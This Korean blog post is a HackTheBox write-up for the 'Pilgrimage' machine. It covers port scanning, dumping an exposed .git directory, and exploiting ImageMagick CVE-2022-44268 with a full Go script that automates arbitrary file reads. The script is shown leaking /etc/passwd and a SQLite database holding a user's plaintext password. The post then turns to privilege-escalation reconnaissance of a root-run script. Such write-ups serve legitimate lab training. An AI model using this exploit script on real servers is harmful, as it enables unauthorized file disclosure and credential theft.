[HTB] Pilgrimage

쥬스몬·2023년 8월 24일
0

HackTheBox

목록 보기
27/37
post-thumbnail

HTB 시즌2의 두번째 머신으로 EASY 난이도로 출제됐다. Pilgrimage 머신을 해결하는 과정을 기록한다.

1. Info

1.1. Port Scan

평범하다. 22/tcp, 80/tcp가 오픈되어있으며, 브라우저를 통해 웹 서비스 접근 시 pilgrimage.htb로 접근 가능하다.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-26 10:24 KST
Nmap scan report for pilgrimage.htb (10.10.11.219)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 seconds

1.2. Service Check(WEB)

웹 서비스 기능은 간단하다 특정 이미지를 업로드하면 어떠한 과정을 거쳐 이미지를 축소시켜 업로드하고 다운로드할 수 있다.

사실 이부분부터 뭔가 냄새가나는 CVE가 생각이 났다.

1.3. ffuf

ffuf를 통해 스캔하니 .git/ 경로가 노출되고 있는것을 확인할 수 있다. 아래에서 git-dumper를 통해 소스코드를 덤프하도록한다.


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://pilgrimage.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/dangerousFile.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 153
________________________________________________

.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 249ms]
.git/index              [Status: 200, Size: 3768, Words: 22, Lines: 16, Duration: 249ms]
.git/HEAD               [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 249ms]
.git/logs/HEAD          [Status: 200, Size: 195, Words: 13, Lines: 2, Duration: 249ms]
.git/config             [Status: 200, Size: 92, Words: 9, Lines: 6, Duration: 249ms]
.git/logs/refs          [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 249ms]

2. git-dumper

위에서 확인된것처럼 .git경로에 접근이 가능하여 object접근해 소스코드를 덤프한다. 이를 자동화 해놓은 도구로 git-dumper를 사용한다.

% git-dumper http://pilgrimage.htb/.git ./dump

덤프한 소스코드를 보면 위에서 냄새가 난다는 CVE가 확실하다고 말해준다. 예상했던 CVE는 ImageMagick Arbitrary Local File Read (CVE-2022-44268)였다.

# 불필요한 css파일이나 font파일 제거함
.
├── assets
│   ├── bulletproof.php
├── dashboard.php
├── index.php
├── login.php
├── logout.php
├── magick
├── register.php

덤프된 index.php에서도 같은 경로의 magick 사용하여 이미지를 리사이즈하는 코드를 확인할 수 있다.

// index.php (line 27)
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);

3. CVE-2022-44268

내 velog에서도 따로 준비해놓고 만나게된다면 바로 테스트하려고 미리 만들어둔 juice.png를 업로드하고 리사이즈된 이미지를 다운받았다.

% wget http://pilgrimage.htb/shrunk/649950ea5fff9.png
% identify -verbose 649950ea5fff9.png

-verbose 옵션으로 자세한 정보를 출력하면 이미지 파일의 여러 정보들이 나오는데 ImageMagick 취약점이 제대로 동작하여 Raw profile에 /etc/passwd의 내용이 Hex로 담겨있다.

대충 확인해보기위해 첫줄만 복사해서 확인해보니 /etc/passwd의 내용이 맞다.

% python3 -c 'print(bytes.fromhex("726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d"))'
b'root:x:0:0:root:/root:/bin/bash\ndaem'

3.1. 자동화

일단 현재 상황은 .git에 접근이 가능하여 git-dumper를 통해 소스코드를 확보한 상황이며, 백앤드에서 ImageMagick의 취약한 버전을 사용중으로 시스템 파일을 읽을 수 있다.

만들고 업로드하고 다운받고 확인하고 디코딩하는 과정을 자동화했다...

package main

import (
	"bytes"
	"encoding/hex"
	"flag"
	"fmt"
	"io"
	"log"
	"mime/multipart"
	"net/http"
	"os"
	"os/exec"
	"strings"
)

func main() {
	flag.Usage = func() {
		fmt.Printf("Usage of %s:\n\n", os.Args[0])
		flag.PrintDefaults()
	}

	payload := flag.String("p", "", "Enter the path to the file to read")
	flag.Parse()

	if flag.NFlag() != 1 {
		flag.Usage()
		return
	}

	cmd := exec.Command("pngcrush", "-s", "-text", "a", "profile", *payload, "default.png")
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	err := cmd.Run()
	if err != nil {
		log.Fatal(err)
	}

	magickImagePath := uploadImage()
	filePath := "pwned.png"
	_ = downloadFile(magickImagePath, filePath)

	resultHex, _ := execIdentify()
	decodedBytes, _ := hex.DecodeString(resultHex)
	fmt.Println(string(decodedBytes))
}

func uploadImage() string {
	imagePath := "pngout.png"
	url := "http://pilgrimage.htb/"

	bodyBuf := &bytes.Buffer{}
	bodyWriter := multipart.NewWriter(bodyBuf)

	fileWriter, err := bodyWriter.CreateFormFile("toConvert", imagePath)
	if err != nil {
		fmt.Println("Failed to create file:", err)
		return ""
	}

	file, err := os.Open(imagePath)
	if err != nil {
		fmt.Println("Failed to open file:", err)
		return ""
	}
	defer file.Close()

	_, err = io.Copy(fileWriter, file)
	if err != nil {
		fmt.Println("Failed to copy file:", err)
		return ""
	}

	contentType := bodyWriter.FormDataContentType()
	bodyWriter.Close()

	client := &http.Client{
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}

	req, err := http.NewRequest("POST", url, bodyBuf)
	if err != nil {
		fmt.Println("Failed to create request:", err)
		return ""
	}
	req.Header.Set("Content-Type", contentType)
	req.Header.Set("Cookie", "PHPSESSID=98vevk2c1dkbd44v73ni2q9ptp")

	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Failed to send request:", err)
		return ""
	}
	defer resp.Body.Close()

	location := resp.Header.Get("Location")
	path := strings.Split(strings.Split(location, "&")[0], "=")[1]
	return path
}

func downloadFile(url string, filePath string) error {
	resp, err := http.Get(url)
	if err != nil {
		return err
	}
	defer resp.Body.Close()

	out, err := os.Create(filePath)
	if err != nil {
		return err
	}
	defer out.Close()

	_, err = io.Copy(out, resp.Body)
	return err
}

func execIdentify() (string, error) {
	cmd := exec.Command("identify", "-verbose", "pwned.png")

	stdout, err := cmd.Output()
	if err != nil {
		return "", err
	}

	output := string(stdout)
	rawProfileIndex := strings.Index(output, "Raw profile type:")
	lines := strings.Split(output[rawProfileIndex:], "\n")

	var resultHex strings.Builder
	skipStep := 3
	for _, line := range lines {
		if skipStep > 0 {
			skipStep--
			continue
		}
		if len(line) == 0 {
			break
		}
		resultHex.WriteString(line)
	}

	return resultHex.String(), nil
}

/etc/passwd

% go run main.go -p /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

/var/db/pilgrimage

해당 파일은 덤프한 소스코드에서 볼 수 있는 로컬 데이터베이스인 sqlite파일이고 바이너리이지만 뭔가 볼수있는 string값들이 있을것 같아 접근하였는데 users 테이블의 정보를 확인할 수 있었고 그 안에 emily라는 유저의 계정 패스워드가 평문으로 저장된것을 확인할 수 있다.

% go run main.go -p /var/db/pilgrimage
��e��8|�StableimagesimagesCREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL)+?indexsqlite_autoindex_images_1imagesf�+tableusersusersCREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL))=indexsqlite_
��-emily안알려줌
��      emily

4. Shell Access(emily)

위에서 탈취한 emily 정보는 웹서비스 로그인 정보이다. 그치만 ssh 접근도 가능하다... EASY 문제라 쉽게 나온것같다.

4.1. linpeas

linpeas 결과 중 아래 이미지 경로에서 malwarescan.sh 이라는 쉘 스크립트가 root 권한으로 스케쥴되고있는것을 확인할 수 있었다.

해당 스크립트는 inotifywait를 통해 /var/www/pilgrimage.htb/shrunk/ 경로를 모니터링하면서 해당 경로에 신규로 생성되는 파일을 binwalk로 검사해 blacklist에 부합되는 파일일 경우 삭제하는 스크립트이다.

#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
	filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
	binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
		if [[ "$binout" == *"$banned"* ]]; then
			/usr/bin/rm "$filename"
			break
		fi
	done
done
profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글